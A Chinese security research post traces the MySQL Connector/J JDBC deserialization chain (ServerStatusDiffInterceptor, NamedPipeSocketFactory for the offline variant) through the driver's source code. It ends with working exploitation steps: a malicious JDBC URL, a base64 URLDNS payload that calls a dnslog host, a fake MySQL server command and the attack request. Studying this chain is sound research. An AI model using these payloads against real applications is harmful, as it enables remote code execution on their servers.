JDBC-Attack4Mysql出网与不出网的利用方式原理学习

前言

MySql这条链还是很厉害的,即使从JDBC-URL连接Mysql服务器这样高权限的操作一般是不会赤裸裸的给你放开去控制URL的,但是我们可以利用这条链来反序列化,可以做到不出网RCE,比如FastJson高版本的利用最后就是可以走的这条链,类似于二次反序列化绕过

复现环境

  • MySQL Connector/J 8.0.19

漏洞原理简述

先要有一个漏洞原理的框架再往具体的代码去学习

这个漏洞最简单的demo如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
@RestController
@RequestMapping(value={"/api"})
public class DatabaseController {
@GetMapping(value={"/connect"}, produces={"application/json"})
public Mono<Map<String, Object>> connect(@RequestParam(value="url") String dbUrl) {
return Mono.fromCallable(() -> {
HashMap<String, Object> result = new HashMap<String, Object>();
try {
Connection conn = DriverManager.getConnection(dbUrl);
result.put("success", true);
result.put("message", "Connection successful");
conn.close();
}
catch (SQLException e) {
result.put("success", false);
result.put("error", e.getMessage());
}
return result;
});
}
}

就是在使用JDBC去连接一个MySql数据库服务器的时候,如果URL可控,那么攻击者就可以伪造一个Fake Mysql Server来回传恶意的序列化流导致的一个反序列化漏洞

反序列化点溯源

反向溯源

全局搜索readObject的调用,发现有三处调用

image-20260525170634768

能利用的点在com.mysql.cj.jdbc.result.ResultSetImpl.getObject()

就这个函数中就存在两处objln.readObject的调用,像上追踪数据流

image-20260525171015776

可以知道从变量的初步的传播路径是columnIndex->data->bytesIn

但是这里columnIndex->data还经过了一层处理byte[] data = this.getBytes(columnIndex);

这里实际上是根据列数索引来判断用那种方法读取数据,这里和MySql交互数据包的格式相关,这里我们只简单了解

攻击者控制的不是columnIndex,而是每一列的数据类型和内容。在 Fake MySQL Server 构造响应时:

列定义中,Column 2 的类型设为 BLOB (0xFC)

col1 = build_col_def(b’Variable_name’) # 普通列
col2 = build_col_def(b’Value’) # BLOB 列,类型字节 0xFC

行数据:Column 2 的值是恶意序列化 payload

row = lenenc_str(b’dummy’) + lenenc_str(serialized_payload)

我们继续来看看这个getBytes()函数

image-20260526225637228

可以看见它return的是thisRowgetBytes(),所以说这里我们实际要控制的是thisRow

至于这个thisRow是怎么来的,这里不纯用看代码的方式去溯源,我们现向上寻找getObject是在哪里调用的,看看是在做什么被调用的

这里我们找到了com.mysql.cj.jdbc.util.ResultSetUtil

image-20260526230049095

这里我们继续向上寻找调用

这里我们找到了com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor

image-20260526230353900

这里我们阅读这个函数的代码还是比较容易理解这个是干嘛的,首先是rs = stmt.executeQuery("SHOW SESSION STATUS");给服务端发送一个查询语句SHOW SESSION STATUS,这里的rs属于ResultSet它的实现类也是我们上面说的ResultSetImpl

image-20260526230651568

可以知道这里返回的数据全由攻击者自己的Fake Server控制的,所以我们只需要知道这个populateMapWithSessionStatusValues是怎么被触发的就可以了

我们继续往上查找调用

image-20260526231321467

我们继续往上查找调用

image-20260526233449960

可以看到最后是走到了com.mysql.cj.protocaol.a.NativeProtocolinvokeQueryInterceptorsPre方法中

注意看这个类名是叫ServerStatusDiffInterceptor也就是说他是一个拦截器,而且从调用情况上面有postPrecesspreProcess,也就是说这个方法是在进行拦截某类操作的时候被调用的,这时候我们就不继续向上寻找调用了,而是去查找MySql的拦截器是用来干什么的,在哪些时候被触发

SQL查询完整生命周期

我们来看看一条 SQL 的完整执行生命周期,回到我们刚刚发现的rs = stmt.executeQuery("SHOW SESSION STATUS");

我们看看executeQuery做了什么,跟进到

1
2
3
4
5
public ResultSet executeQuery(String sql) throws SQLException {
...
this.results = (ResultSetInternalMethods)((NativeSession)locallyScopedConn.getSession()).execSQL(this, sql, this.maxRows, null, this.createStreamingResultSet(), this.getResultSetFactory(), cachedMetaData, false);
...
}

继续跟进execSQL()

1
2
3
4
5
public <T extends Resultset> T execSQL(Query callingQuery, String query, int maxRows, NativePacketPayload packet, boolean streamResults, ProtocolEntityFactory<T, NativePacketPayload> resultSetFactory, ColumnDefinition cachedMetadata, boolean isBatch) {
...
T Ex = packet == null ? ((NativeProtocol)this.protocol).sendQueryString(callingQuery, query, (String)this.characterEncoding.getValue(), maxRows, streamResults, cachedMetadata, resultSetFactory) : ((NativeProtocol)this.protocol).sendQueryPacket(callingQuery, packet, maxRows, streamResults, cachedMetadata, resultSetFactory);
...
}

继续跟进sendQueryPacket()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public final <T extends Resultset> T sendQueryPacket(Query callingQuery, NativePacketPayload queryPacket, int maxRows, boolean streamResults, ColumnDefinition cachedMetadata, ProtocolEntityFactory<T, NativePacketPayload> resultSetFactory) throws IOException {
...
++this.statementExecutionDepth; // 执行深度计数器

// ① PRE:拦截器前置执行(查询还未发送到服务器)
if (this.queryInterceptors != null) {
interceptedResults = invokeQueryInterceptorsPre(query, ...);
if (interceptedResults != null) {
return interceptedResults; // 拦截器可以截胡
}
}

// ② SEND:真正发送查询到服务器
resultPacket = sendCommand(queryPacket, ...);

// ③ READ:读取服务器返回的结果集
T rs = readAllResults(...);

// ④ POST:拦截器后置执行(结果已返回、但还没给调用者)
if (this.queryInterceptors != null) {
rs = invokeQueryInterceptorsPost(query, callingQuery, rs, ...);
}

--this.statementExecutionDepth;
return rs; // 最终结果返回给调用者
...
}

这里我们可以看到invokeQueryInterceptorsPre也就是我们在反向溯源的时候找到的触发点了,也就说我们现在前后已经连起来了

所以现在我们要解决的问题是,哪里可以触发一条sql语句的同时还可以指定我们的拦截器?

正向寻找触发点

回到我们的漏洞利用过程来看,我们只需要控制URL就可以在发起连接的时候做到反序列化,这说明JDBC在发起连接的时候一定也是执行了sql查询语句的

我们回到最小Demo的代码Connection conn = DriverManager.getConnection(dbUrl);来一探究竟

直接跟进getConnection

java.sql.DriverManager.java

1
2
3
4
5
private static Connection getConnection(String url, java.util.Properties info, Class<?> caller) throws SQLException {
...
Connection con = aDriver.driver.connect(url, info);
...
}

跟进connect

com.mysql.cj.jdbc.NonRegisteringDriver

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public Connection connect(String url, Properties info) throws SQLException {
...
if (!ConnectionUrl.acceptsUrl(url)) {
return null; // URL 不是 mysql 协议,返回 null,DriverManager 继续试下一个
}
ConnectionUrl conStr = ConnectionUrl.getConnectionUrlInstance(url, info); // 解析 URL
switch (conStr.getType()) {
case SINGLE_CONNECTION:
return ConnectionImpl.getInstance(conStr.getMainHost()); // ← 创建连接
// ... 其他类型 (failover, loadbalance, replication)
}

...
}

跟进getInstance

com.mysql.cj.jdbc.ConnectionImpl

1
2
3
public static JdbcConnection getInstance(HostInfo hostInfo) throws SQLException {
return new ConnectionImpl(hostInfo); // 直接 new,没有反射、没有工厂
}

走到它的构造方法中

也就是从这里就找到加载我们拦截器的方式了,我们来看我们常见的payload

1
jdbc:mysql://127.0.0.1:3306/test?characterEncoding=UTF-8&serverTimezone=Asia/Shanghai&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor

就可以理解为什么我们要传入queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor

1
2
3
4
5
6
7
8
public ConnectionImpl(HostInfo hostInfo) throws SQLException {
// ... 解析属性、初始化 PropertySet、创建 NativeSession ...
this.dbmd = this.getMetaData(false, false);
this.initializeSafeQueryInterceptors(); // ① 从 URL 加载拦截器类
// ...
this.createNewIO(false); // ② 建立网络连接 + 初始化
this.unSafeQueryInterceptors(); // ③ 解开 Safe Wrapper
}

到这里我们跟进createNewIO看看建立网络连接的时候都做了什么

1
2
3
4
5
6
7
8
// ConnectionImpl.java:659-665
public void createNewIO(boolean isForReconnect) {
if (!this.autoReconnect.getValue().booleanValue()) {
this.connectOneTryOnly(isForReconnect); // ← 首次连接走这里
} else {
this.connectWithRetries(isForReconnect);
}
}

继续跟connectOneTryOnly

1
2
3
4
5
6
7
8
9
// ConnectionImpl.java:761-778
private void connectOneTryOnly(boolean isForReconnect) throws SQLException {
JdbcConnection c = this.getProxy();
this.session.connect(this.origHostInfo, this.user, this.password,
this.database, DriverManager.getLoginTimeout() * 1000, c); // ① TCP 握手 + MySQL 认证
// ...
this.session.setQueryInterceptors(this.queryInterceptors); // ② 把拦截器注入到 session
this.initializePropsFromServer(); // ③ 初始化服务器属性 ← 触发点!
}

跟进initializePropsFromServer

1
2
3
4
5
6
7
8
9
// ConnectionImpl.java:1106-1131
private void initializePropsFromServer() throws SQLException {
// ...
this.session.setSessionVariables(); // 可能发送 SET 语句
this.session.loadServerVariables(..., ...); // 发送 SELECT @@session.xxx
// ...
this.session.configureClientCharacterSet(false); // 发送 SET NAMES utf8mb4
// ...
}

到这里就和我们上面找到的链子彻底连上了发送了查询语句之后就会走到我们的拦截器,从而触发反序列化

需要注意的是这里走的不是我们上面说的sendQueryPacket,而是它的兄弟sendCommand,他们两个都会在执行sql语句之前被拦截器拦截

不出网利用链

在上面我们找的链子是去网络连接然后连接Fake Server传输恶意序列号流的,那么这条链好用就好用在他有个不出网的利用方式

我们可以从URL可操控的参数去角度去思考这个漏洞是怎么被挖掘的,因为我们在挖掘不出网的链的时候发现利用到了queryInterceptors去指定拦截器来触发我们的链子,从扩大攻击面发散思维来看,我们可以先来看看还可以控制什么

在官方文档中可以看到可以控制的一个关于网络连接的参数是

image-20260527011741578

我们来找找它的实现类,发现有很多,也就是说我们还可以通过这个参数来改变链条的走向,这里默认用的就是我们上面分析的StandardSocketFactory

image-20260527011904724

我们来看看这是在什么时候被创建的,这里使用Find usage是找不到它的用法的,因为它是被反射调用的

我们得回到刚刚的正向寻找触发点,我们来看看JDBC是怎么处理我们URL中传入的参数queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor的,来看到这个文件

com.mysql.cj.jdbc.ConnectionImpl

1
2
3
4
5
6
7
8
public ConnectionImpl(HostInfo hostInfo) throws SQLException {
// ... 解析属性、初始化 PropertySet、创建 NativeSession ...
this.dbmd = this.getMetaData(false, false);
this.initializeSafeQueryInterceptors(); // ① 从 URL 加载拦截器类
// ...
this.createNewIO(false); // ② 建立网络连接 + 初始化
this.unSafeQueryInterceptors(); // ③ 解开 Safe Wrapper
}

我们跟进initializeSafeQueryInterceptor

1
2
3
4
5
6
7
8
9
10
@Override
public void initializeSafeQueryInterceptors() throws SQLException {
try {
this.queryInterceptors = Util.loadClasses(this.propertySet.getStringProperty(PropertyKey.queryInterceptors).getStringValue(), "MysqlIo.BadQueryInterceptor", this.getExceptionInterceptor()).stream().map(o -> new NoSubInterceptorWrapper(o.init(this, this.props, this.session.getLog()))).collect(Collectors.toList());
return;
}
catch (CJException cJException) {
throw SQLExceptionsMapping.translateException(cJException, this.getExceptionInterceptor());
}
}

可以看到这里使用Util.loadClasses来获取我们URL传入的参数,其中使用propertySet.getStringProperty来查找我们的URL参数

我们进入propertySet类就可以看见我们上面说的socketFactory

image-20260527233027315

我们对这个向上查找调用,就可以看见这个参数被加载的地方就是在我们刚刚正向分析的时候经过的connet方法

image-20260527233530891

上面正向分析的时候没有仔细进入到这里,这里再走一遍,回到我们的connectOneTryOnly,会看到这里调用的是this.session.connect

image-20260527234305489

我们看看this.session是怎么来的

可以看到它是在ConnecttionImpl的初始化函数中被加载的,和拦截器被加载的地方是一个地方,我们默认加载的是StandardSocketFactory,所以他就会用网络连接到方式去加载序列化流

image-20260527234404494

所以现在我们只需要在看看这么多的SocketFactory有没有哪个的connect方法是不用经过真正的网络连接就可以返回可控数据的呢

前人就找到了这个叫做NamePipeSocketFactory的工厂类

image-20260527234727091

上面说到,反射调用获取这个类之后就会调用它的connect方法,我们看看它的connect方法和默认的有什么区别,为什么它可以做到不出网回显序列流

先看默认socketFactory,是个很经典的连接层操作,用hostnameportNumber获取套接字连接对象便于之后通信

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
@Override
public <T extends Closeable> T connect(String hostname, int portNumber, PropertySet pset, int loginTimeout) throws IOException {
this.loginTimeoutCountdown = loginTimeout;
if (pset != null) {
this.host = hostname;
this.port = portNumber;
String localSocketHostname = pset.getStringProperty(PropertyKey.localSocketAddress).getValue();
InetSocketAddress localSockAddr = null;
if (localSocketHostname != null && localSocketHostname.length() > 0) {
localSockAddr = new InetSocketAddress(InetAddress.getByName(localSocketHostname), 0);
}
int connectTimeout = pset.getIntegerProperty(PropertyKey.connectTimeout).getValue();
if (this.host != null) {
InetAddress[] possibleAddresses = InetAddress.getAllByName(this.host);
if (possibleAddresses.length == 0) {
throw new SocketException("No addresses for host");
}
SocketException lastException = null;
for (int i = 0; i < possibleAddresses.length; ++i) {
try {
this.rawSocket = this.createSocket(pset);
this.configureSocket(this.rawSocket, pset);
InetSocketAddress sockAddr = new InetSocketAddress(possibleAddresses[i], this.port);
if (localSockAddr != null) {
this.rawSocket.bind(localSockAddr);
}
this.rawSocket.connect(sockAddr, this.getRealTimeout(connectTimeout));
break;
}
catch (SocketException ex) {
lastException = ex;
this.resetLoginTimeCountdown();
this.rawSocket = null;
continue;
}
}
if (this.rawSocket == null && lastException != null) {
throw lastException;
}
this.resetLoginTimeCountdown();
this.sslSocket = this.rawSocket;
return (T)this.rawSocket;
}
}
throw new SocketException("Unable to create socket");
}

再看NamePipeSocketFactort,我们可以看到它根本就没有用到传入的hostname还有portNumber,这意味着这个socket不进行任何网络连接是个伪socket,甚至还有一个可控的namedPipePath作为路径名指向一个文件,前面我们说到PropertySet是可控的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
@Override
public <T extends Closeable> T connect(String host, int portNumber, PropertySet props, int loginTimeout) throws IOException {
String namedPipePath = null;
RuntimeProperty<String> path = props.getStringProperty(PropertyKey.PATH);
if (path != null) {
namedPipePath = path.getValue();
}
if (namedPipePath == null) {
namedPipePath = "\\\\.\\pipe\\MySQL";
} else if (namedPipePath.length() == 0) {
throw new SocketException(Messages.getString("NamedPipeSocketFactory.2") + PropertyKey.PATH.getCcAlias() + Messages.getString("NamedPipeSocketFactory.3"));
}
this.namedPipeSocket = new NamedPipeSocket(namedPipePath);
return (T)this.namedPipeSocket;
}

可以看到它返回的一个连接是NamedPipeSocket

我们看看这个类是干嘛的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
class NamedPipeSocket
extends Socket {
private boolean isClosed = false;
private RandomAccessFile namedPipeFile;

NamedPipeSocket(String filePath) throws IOException {
if (filePath == null || filePath.length() == 0) {
throw new IOException(Messages.getString("NamedPipeSocketFactory.4"));
}
this.namedPipeFile = new RandomAccessFile(filePath, "rw");
}

@Override
public synchronized void close() throws IOException {
this.namedPipeFile.close();
this.isClosed = true;
}

@Override
public InputStream getInputStream() throws IOException {
return new RandomAccessFileInputStream(this.namedPipeFile);
}

@Override
public OutputStream getOutputStream() throws IOException {
return new RandomAccessFileOutputStream(this.namedPipeFile);
}

@Override
public boolean isClosed() {
return this.isClosed;
}

@Override
public void shutdownInput() throws IOException {
}
}

可以看到这个类就是一个用文件的读取和写入来创造的一个socket连接

至于更深入的发包的整条链需要去阅读刚刚我们上面提到的sendCommand方法,这里不细究

因为我们的拦截器先会拦截发送的SET请求,所以我们只需把文件改成恶意序列流,就可以回到我们刚刚反向溯源的SINK点了

利用

对于MySql交互的协议和怎么写一个Fake Server这里不细细研究,网上对此的分析也比较少,大部分都是直接wireshark抓包来改写的

所以我们更多我们把重心放在怎么利用别人写好的Fake Server来打不同的链子

Fake Server

因为不同的MySQL Connector/J版本在传输协议上可能有小区别,我们上面只是通过了8.0.19去学习,所以要更全面的利用的话还是得用别人写好的Server

所以这里使用4rain师傅写好的工具

4ra1n/mysql-fake-server: 纯 Java 实现的 MySQL Fake Server | 支持 GUI 版和命令行版 | 支持反序列化和文件读取的利用方式 | 支持常见的 GADGET 和自定义 GADGET 数据 | 根据目标环境自动生成匹配的 PAYLOAD | 支持 PGSQL 和 DERBY 的利用

出网利用

在java-chain或者yso上面生成URLDNS的序列化流

1
echo rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IADGphdmEubmV0LlVSTJYlNzYa/ORyAwAHSQAIaGFzaENvZGVJAARwb3J0TAAJYXV0aG9yaXR5dAASTGphdmEvbGFuZy9TdHJpbmc7TAAEZmlsZXEAfgADTAAEaG9zdHEAfgADTAAIcHJvdG9jb2xxAH4AA0wAA3JlZnEAfgADeHD//////////3QAGjJhY2Y5ODFmLmxvZy5kbnNsb2cucHAudWEudAAAcQB+AAV0AARodHRwcHh2cgAQamF2YS5sYW5nLk9iamVjdAAAAAAAAAAAAAAAeHB4 > urldns.ser

这里如果是windows不能用>的形式保存因为是UTF-16不然会报错23:56:44 [Thread-1] GadgetResolver.resolve gadget resolver error: java.lang.IllegalArgumentException: Illegal base64 character 3f

之后启动jar包**-f参数自定义文件**

1
java -jar fake-mysql-cli-0.0.4.jar -p 13307 -f urldns.ser

请求

1
http://127.0.0.1:8000/api/connect?url=jdbc:mysql://127.0.0.1:13307/test%3FautoDeserialize%3Dtrue%26queryInterceptors%3Dcom.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor%26user%3Ddeser_CUSTOM_xxx

这里的user是我们自定义链子的标识符deser_CUSTOM_xxx后面xxx任意最终都会触发我们的序列化流

image-20260528235952251

成功收到DNS查询

image-20260529000131121

不出网利用

上面4rain的工具是没有实现namePipe的利用的

搜了一下网上似乎还没有找到有人写这个脚本,就自己写了一个

只是面向8.0.x版本的不出网namePipe文件构造

jujubooom/namePipe-G: JDBC-Attack4Mysql的不出网利用Pipe文件生成工具

利用过程都写在README.md里面了